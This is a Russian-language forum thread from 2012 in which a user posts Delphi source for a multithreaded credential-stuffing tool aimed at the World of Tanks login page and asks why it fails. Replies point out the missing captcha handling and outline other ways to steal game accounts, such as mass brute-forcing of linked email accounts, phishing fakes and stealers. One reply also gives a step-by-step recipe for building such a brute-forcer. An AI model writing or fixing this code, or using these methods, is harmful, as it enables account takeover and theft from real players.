Прошу помощи с брутом WOT.

HellC · 26.11.2012, 16:11

Всем привет.
Прошу помощи, так-как только учусь...
Есть код:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  StdCtrls, ComCtrls, Gauges, SyncObjs;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    UpDown1: TUpDown;
    Button1: TButton;
    Label1: TLabel;
    Label2: TLabel;
    OpenDialog1: TOpenDialog;
    GoodLabel: TLabel;
    BadLabel: TLabel;
    IdHTTP1: TIdHTTP;
    Gauge1: TGauge;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

 TNewThread = class(TThread)
  private
   FAcc : string;
   FPas : string;
   Rez : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;

var
  Form1: TForm1;
  Accounts:Tstringlist;
  Thread, Acc:integer;
  Work:boolean;
  CS:TcriticalSection;
  GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
 if OpenDialog1.Execute then
  begin
   Accounts.Clear;
   Accounts.LoadFromFile(OpenDialog1.FileName);
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 GoodLabel.Caption:='0';
 BadLabel.Caption:='0';
 Gauge1.MaxValue:=Accounts.Count;
 Gauge1.Progress:=0;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(Edit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin
     FAcc:= Copy(Accounts[CurAcc],1,Pos(':',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(':',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

     data:=Tstringlist.create;
     data.Add('st.posted=set');
     data.Add('st.login='+FAcc);
     data.Add('st.password='+FPas);
     data.Add('st.fJS=enabled');
     data.Add('st.screenSize=1366 x 768');
     data.Add('st.flashVer=10.1.82');
     data.Add('button_go=Войти');
     HTTP:=TIdHTTP.create(nil);
     HTTP.HandleRedirects:=false;
     try
      HTTP.Post('https://worldoftanks.ru/auth/new/', data);
     except
      if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then
       Rez:=1
      else
       Rez:=0;
     end;
     HTTP.Free;
     data.Free;

     Synchronize(Sync);
    end;
  end;

 dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;

procedure TNewThread.Sync;
begin
 case Rez of
   0:begin
      Accounts.Add(FAcc+';'+FPas);
     end;
   1:begin
      Append(GoodFile);
      Writeln(GoodFile,FAcc+':'+FPas);
      Closefile(GoodFile);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
  -1:begin
      Append(BadFile);
      Writeln(BadFile,FAcc+':'+FPas);
      Closefile(BadFile);
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
 end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;

end.

Но он почему-то не работает :с
Буду благодарен если кто-нибудь поможет.

~~Relli~~ · 26.11.2012, 16:18

Да что вы все зациклены на try...except?
Это исключение,которое срабатывает при ошибке...
И сомневаюсь,что многие горят желанием помочь в том,на чем можно заработать денег,тем более на одной из популярных тем

HellC · 26.11.2012, 16:29

Цитата:

Сообщение от Relli


	Да что вы все зациклены на try...except? Это исключение,которое срабатывает при ошибке... И сомневаюсь,что многие горят желанием помочь в том,на чем можно заработать денег,тем более на одной из популярных тем

:с
Правда ни кто не поможет что ли?

~~Relli~~ · 26.11.2012, 16:42

Быть просто нужно начать с чего-нибудь полегче?)

Роспотребнадзор · 26.11.2012, 16:44

Цитата:

Сообщение от HellC


	Правда ни кто не поможет что ли?

Помочь - помогут. Но за тебя не напишут.
Как уже сказано выше, except не используй, если не знаешь что это и для чего это нужно.
Используй следующую конструкцию:

try
тут код программы
finally
тут код, который выполнится в любом случае. Например очистка переменных для повторной авторизации. Например: data.free;
end.

Tip.the.besT · 03.12.2012, 14:32

Брутить WOT через сайт, это глупо... Антигейт съест больше денег чем ты заработаешь. Кстати, пробежался по коду, обработки капчи вообще нет.

Если и писать брут, то надо косить под клиент, и то не факт..

~~Relli~~ · 04.12.2012, 16:31

Цитата:

Сообщение от Tip.the.besT


	Брутить WOT через сайт, это глупо... Антигейт съест больше денег чем ты заработаешь. Кстати, пробежался по коду, обработки капчи вообще нет. Если и писать брут, то надо косить под клиент, и то не факт..

Капча лишь для тех,кто мыслит прямолинейно)

dictoanon · 04.12.2012, 16:44

чел взял исходник ингушмена и изменил только одну строчку [Ссылки могут видеть только зарегистрированные пользователи. ]
ты сначала снифером посмотри данные для пост запроса,хотя бы их измени...
брут однокласников и брут WOT это разные вещи )
если бы ты начинал учица,ты б знал что данные для пост запроса разные

windust · 04.12.2012, 17:19

dictoanon, а ты остряк прям он же написал Прошу помощи, так-как только учусь...

Sinyss · 04.12.2012, 17:35

Цитата:

Сообщение от windust


	dictoanon, а ты остряк прям он же написал Прошу помощи, так-как только учусь...

Ну это тоже самое если бы к тебе подошли и попросили помочь сделать стул из .... зубочистки...

~~Relli~~ · 04.12.2012, 19:39

В общем вывод один: учится,читать и еще раз учиться.Надо разобраться хотя бы,что за что отвечает,потом - как пользоваться,а потом уже делать небольшие,легкие программы,постепенно усложняя задачу.

windust · 04.12.2012, 20:32

Sinyss,

Tip.the.besT · 14.12.2012, 22:01

Цитата:

Сообщение от Relli


	Капча лишь для тех,кто мыслит прямолинейно)

Я так подозреваю ты хотел меня уязвить? Ну что же, давай подумаем "криволенейно", дорогой наш повелитель парабл и кривых.

Есть несколько вариантов добычи акка ВОТ. Брут непосредственно через сайт. Подделать клиент игры и брутить. Брут мыльника на который зареган акк в ВОТ. Фейк ВОТ(Оба варианта: ВЕБ фейк и программный фейк). Стиллер. Уязвимости сайта(маловероятно).

И так, мы имеем дело с человеком который хочет добыть акк бруттом. Он хочет написать брут ВОТ. Для начала ему нужно добыть мыльники, на которые зареганыы акки. Грабит мыльники и чекает их через забыли пароль. Уже тратим деньги. Теперь нужно брутить. Тут как выяснилось два варианта: брут через ВЕБ и клиентом. По знаниям юзверя можно сказать с вероятностью 98%, что подделать клиент игры он не сможет. Остаются через ВЕБ, а тут как не извращайся, без капчи никуда.

Самый верный выход в этой ситуации брутить мыльники(массово) и чекать потом их на ВОТ. Чтобы тратить меньше денег, можно для начала поискать в почте, письма от ВОТ.

~~Relli~~ · 16.12.2012, 20:29

Цитата:

Сообщение от Tip.the.besT


	Я так подозреваю ты хотел меня уязвить? Ну что же, давай подумаем "криволенейно", дорогой наш повелитель парабл и кривых. Есть несколько вариантов добычи акка ВОТ. Брут непосредственно через сайт. Подделать клиент игры и брутить. Брут мыльника на который зареган акк в ВОТ. Фейк ВОТ(Оба варианта: ВЕБ фейк и программный фейк). Стиллер. Уязвимости сайта(маловероятно). И так, мы имеем дело с человеком который хочет добыть акк бруттом. Он хочет написать брут ВОТ. Для начала ему нужно добыть мыльники, на которые зареганыы акки. Грабит мыльники и чекает их через забыли пароль. Уже тратим деньги. Теперь нужно брутить. Тут как выяснилось два варианта: брут через ВЕБ и клиентом. По знаниям юзверя можно сказать с вероятностью 98%, что подделать клиент игры он не сможет. Остаются через ВЕБ, а тут как не извращайся, без капчи никуда. Самый верный выход в этой ситуации брутить мыльники(массово) и чекать потом их на ВОТ. Чтобы тратить меньше денег, можно для начала поискать в почте, письма от ВОТ.

Кхм,ты мыслишь как юзверь,а не как кодер.Ты понял мою фразу,что человек выбрал не верный подход к добыче ака,а я же имел ввиду,что брутить 1 страничку можно 10-ми(например) различными способами)

Xenozite · 22.12.2012, 18:26

Цитата:

Сообщение от HellC


	data:=Tstringlist.create; data.Add('st.posted=set'); data.Add('st.login='+FAcc); data.Add('st.password='+FPas); data.Add('st.fJS=enabled'); data.Add('st.screenSize=1366 x 768'); data.Add('st.flashVer=10.1.82'); data.Add('button_go=Войти'); HTTP:=TIdHTTP.create(nil); HTTP.HandleRedirects:=false; try HTTP.Post('https://worldoftanks.ru/auth/new/', data); except if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then Rez:=1 else Rez:=0; end; HTTP.Free; data.Free;

Из этого можно сделать вывод,что тебе захотелось легких денег и в делфи ты не начинающий,а тот кто открыл, увидел и заменил ссылки авторизации,не разобравшись вообще что делает программа. Структура авторизации для тебя(все разжеванно только сообрази что куда):
1)Создаем IdHTTP и переменные для заполнения.
2)Открываем снифер и авторизуемся на сайте(Конечно тут морока еще та выходит с разбором авторизации
на сайте,поэтому проще снифером отследить POST запрос от клиента на сайт.)
3)Теперь нужно понять от чего оттолкнуться,чтобы программа поняла что она авторизировалась.
(logout,logoff,присутствие куков каких-либо и т.д.)
4)Превращаем это все в код-копируем логин,копируем пароль в 2 переменные.
5)Заносим в переменную отправки(data в твоем случае) значения
6)Шлем пост запрос
7)Если авторизировались(logout,logoff,присутствие куков каких-либо и т.д.) то добавляем в гуд
8)Если нет то в бэд.
9)Синхронизируем потоки программы.
Все просто и пойми,что код для брута WOT и других сервисов тебе никто не напишет.Все зависит от тебя.Лучше включи мозг,включи рэпчик(

) и за работу.

Прошу помощи с брутом WOT.

Вопросы и ответы, обсуждения